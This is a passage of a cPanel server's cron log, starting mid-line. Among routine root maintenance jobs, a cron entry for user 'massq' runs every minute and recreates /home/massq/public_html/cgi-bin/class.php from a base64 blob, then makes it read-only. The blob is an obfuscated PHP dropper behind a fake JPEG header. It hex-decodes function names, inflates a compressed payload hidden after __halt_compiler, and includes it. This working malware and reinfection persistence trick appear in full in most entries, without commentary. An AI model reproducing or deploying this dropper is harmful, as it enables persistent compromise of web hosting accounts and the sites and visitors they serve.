fi; chmod 444 "$fp")
Sep  2 16:31:01 server CROND[16660]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  2 16:32:01 server CROND[17030]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  2 16:32:01 server CROND[17031]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  2 16:32:01 server CROND[17032]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  2 16:33:01 server CROND[17400]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  2 16:33:01 server CROND[17401]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  2 16:33:01 server CROND[17402]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  2 16:34:01 server CROND[17874]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  2 16:34:01 server CROND[17875]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  2 16:34:01 server CROND[17877]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  2 16:35:01 server CROND[18263]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  2 16:35:01 server CROND[18266]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  2 16:35:01 server CROND[18268]: (root) CMD (/usr/local/cpanel/scripts/backup_jobs_helper >> /var/log/comet_backup_jobs_helper.log 2>&1)
Sep  2 16:35:01 server CROND[18267]: (root) CMD (   bash -c 'sleep $((RANDOM % 60))' ; /opt/imunify360/venv/share/imunify360/scripts/check-detached.py > /dev/null 2>&1 || :)
Sep  2 16:35:01 server CROND[18265]: (root) CMD (/usr/bin/test -x /usr/local/cpanel/bin/tail-check && /usr/local/cpanel/bin/tail-check)
Sep  2 16:35:01 server CROND[18274]: (root) CMD (/usr/local/maldetect/maldet --mkpubpaths >> /dev/null 2>&1)
Sep  2 16:35:01 server CROND[18269]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Sep  2 16:35:01 server CROND[18270]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  2 16:35:01 server CROND[18278]: (root) CMD (/usr/local/cpanel/scripts/eximstats_spam_check 2>&1)
Sep  2 16:36:01 server CROND[19109]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  2 16:36:01 server CROND[19111]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  2 16:36:01 server CROND[19110]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  2 16:37:01 server CROND[19483]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  2 16:37:01 server CROND[19484]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  2 16:37:01 server CROND[19486]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  2 16:38:01 server CROND[19857]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  2 16:38:01 server CROND[19858]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  2 16:38:01 server CROND[19859]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  2 16:39:02 server CROND[20331]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  2 16:39:02 server CROND[20330]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  2 16:39:02 server CROND[20329]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  2 16:39:02 server CROND[20332]: (root) CMD (/usr/local/cpanel/scripts/clean_user_php_sessions > /dev/null 2>&1)
Sep  2 16:40:01 server CROND[20715]: (root) CMD (/usr/local/maldetect/maldet --mkpubpaths >> /dev/null 2>&1)
Sep  2 16:40:01 server CROND[20716]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Sep  2 16:40:01 server CROND[20720]: (root) CMD (/usr/lib64/sa/sa1 1 1)
Sep  2 16:40:01 server CROND[20724]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  2 16:40:01 server CROND[20726]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  2 16:40:01 server CROND[20730]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  2 16:40:01 server CROND[20729]: (root) CMD (/usr/local/cpanel/scripts/backup_jobs_helper >> /var/log/comet_backup_jobs_helper.log 2>&1)
Sep  2 16:40:01 server CROND[20728]: (root) CMD (   bash -c 'sleep $((RANDOM % 60))' ; /opt/imunify360/venv/share/imunify360/scripts/check-detached.py > /dev/null 2>&1 || :)
Sep  2 16:41:01 server CROND[21561]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  2 16:41:01 server CROND[21562]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  2 16:41:01 server CROND[21563]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  2 16:42:01 server CROND[21948]: (root) CMD (/usr/local/cpanel/whostmgr/bin/dnsqueue > /dev/null 2>&1)
Sep  2 16:42:01 server CROND[21950]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  2 16:42:01 server CROND[21951]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  2 16:42:01 server CROND[21952]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  2 16:43:01 server CROND[22377]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  2 16:43:01 server CROND[22378]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  2 16:43:01 server CROND[22379]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  2 16:44:01 server CROND[22983]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
